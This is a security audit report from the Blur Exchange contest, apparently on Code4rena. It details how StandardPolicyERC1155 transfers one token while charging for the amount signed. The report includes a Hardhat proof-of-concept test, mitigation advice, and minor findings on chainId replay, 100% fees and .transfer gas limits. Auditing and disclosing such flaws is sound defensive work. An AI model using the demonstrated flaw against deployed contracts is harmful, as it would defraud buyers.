Blur Exchange contest - zzykxx's results

Lines of code

https://github.com/code-423n4/2022-10-blur/blob/main/contracts/matchingPolicies/StandardPolicyERC1155.sol#L33 https://github.com/code-423n4/2022-10-blur/blob/main/contracts/matchingPolicies/StandardPolicyERC1155.sol#L59

Vulnerability details

Impact

A seller, Alice, can sign a sell order with the parameter amount set to 2 and matchingPolicy set to StandardPolicyERC1155. Bob sees the order, think it's a good deal, and decides to buy it.

The expecation from Bob is to receive 2 of Alice's ERC1155, because that's what he signed. However, he will only receive 1 of Alice's ERC1155. Bob, in this case, paid double the amount expected per token.

Proof of Concept

Copy in execution.test.ts:

describe('POC', function() {
    it('seller can trick buyers with wrong ERC1155 amount', async () => {
    const PRICE_PER_TOKEN = 100000;
    const AMOUNT_TO_TRANSFER = 2;

    await mockERC1155.mint(alice.address, tokenId, AMOUNT_TO_TRANSFER);

    /*

        Alice generates an order to sell 2 ERC1155 tokens at a price of 100000 per token,
        which makes it 100000*2 total

    */

    sell = generateOrder(alice, {
        side: Side.Sell,
        tokenId,
        amount: 2,
        price: 100000 * 2,
        collection: mockERC1155.address,
        matchingPolicy: matchingPolicies.standardPolicyERC1155.address,
    });

    /*

        Bob sign a matching order to buy Alice's 2 ERC1155

    */

    buy = generateOrder(bob, {
        side: Side.Buy,
        tokenId,
        amount: 2,
        price: 100000 * 2,
        collection: mockERC1155.address,
        matchingPolicy: matchingPolicies.standardPolicyERC1155.address,
    });

    /*

        The orders gets executed

    */

    const sellInput = await sell.pack();
    const buyInput = await buy.pack();

    const aliceERC1155BalanceBefore = await mockERC1155.balanceOf(alice.address, tokenId);

    const bobERC1155BalanceBefore = await mockERC1155.balanceOf(bob.address, tokenId);
    const bobWETHBalanceBefore = await weth.balanceOf(bob.address);

    await exchange.connect(bob).execute(sellInput, buyInput);

    const aliceERC1155BalanceAfter = await mockERC1155.balanceOf(alice.address, tokenId);

    const bobERC1155BalanceAfter = await mockERC1155.balanceOf(bob.address, tokenId);
    const bobWETHBalanceAfter = await weth.balanceOf(bob.address);

    /*

        Bob signed an order to receive 2 ERC1155 but he only receives 1, paying double
        the expected price per token

    */

    expect(bobWETHBalanceAfter).to.be.equal(bobWETHBalanceBefore.sub(PRICE_PER_TOKEN * AMOUNT_TO_TRANSFER));
    expect(bobERC1155BalanceAfter).to.be.equal(bobERC1155BalanceBefore.add(1));
    
    /*

        Alice receives the payment minus the fees and only get subtracted 1 token
        
    */

    expect(aliceERC1155BalanceAfter).to.be.equal(aliceERC1155BalanceBefore.sub(1));

    });
})

Mitigation Steps

The fix depends on design choices, by the comment in StandardPolicyERC1155.sol:

@dev Policy for matching orders at a fixed price for a specific ERC1155 tokenId

it seems like the policy is designed to only transfer 1 ERC1155 token at a time, in this case StandardPolicyERC1155.sol should check that makerAsk/Bid.amount and takerAsk/Bid.amount in both orders is equal to 1, and return false otherwise.

If this is not the case then StandardPolicyERC1155.sol should use the value of makerAsk/Bid.amount and takerAsk/Bid.amount at #L33 and #L59 while also checking that they are equal.

Low risk

[L1] In execute() seller != buyer is never checked

This could lead to third parties griefing users by matching their buying and sell orders. This, with the policies available now, is exploitable only in the case someone is trying to both sell and buy an ERC1155 at the same price, while paying fees; which is quite the edge case. However, in the future this could become a serious issue with introduction of more complex policies.

[L2] ChainId is passed as a parameter

The chainId parameter at BlurExchange.sol#L106 is passed in the constructor instead of being taken from block.chainid. In addition to this DOMAIN_SEPARATOR is a static value, but it should be dynamic to account for a potential change of block.chainId, in case of hardforks.

If not fixed it could lead to replay attacks in case of hardforks or replay attacks in case of an error in setting the chainId during deployment, if re-deployed on another chain with the same address.

[L3] Orders can be executed with fees up to 100%

Both buyers and sellers can generate orders with up to a 100% fee. Since the use cases for having such a high fee are not clear consider limiting the maximum possible fee, this could prevent buyers from trying to grief seller with unexpectedly high fees.

QA

[QA1] Use .call instead of .transfer

At BlurExchange.sol#L508 .transfer() is used to transfer the ETH fees.

transfer() is limited to 2300 gas, which is barely enough to emit an event. If:

• The receiver is a contract that has a fallback function that consumes more than 2300 gas
• The receiver sits behind a proxy
• Gas costs are increased in the future

then some orders might not be executable.

Consider using call() instead, since execute() is protected from re-rentrancy.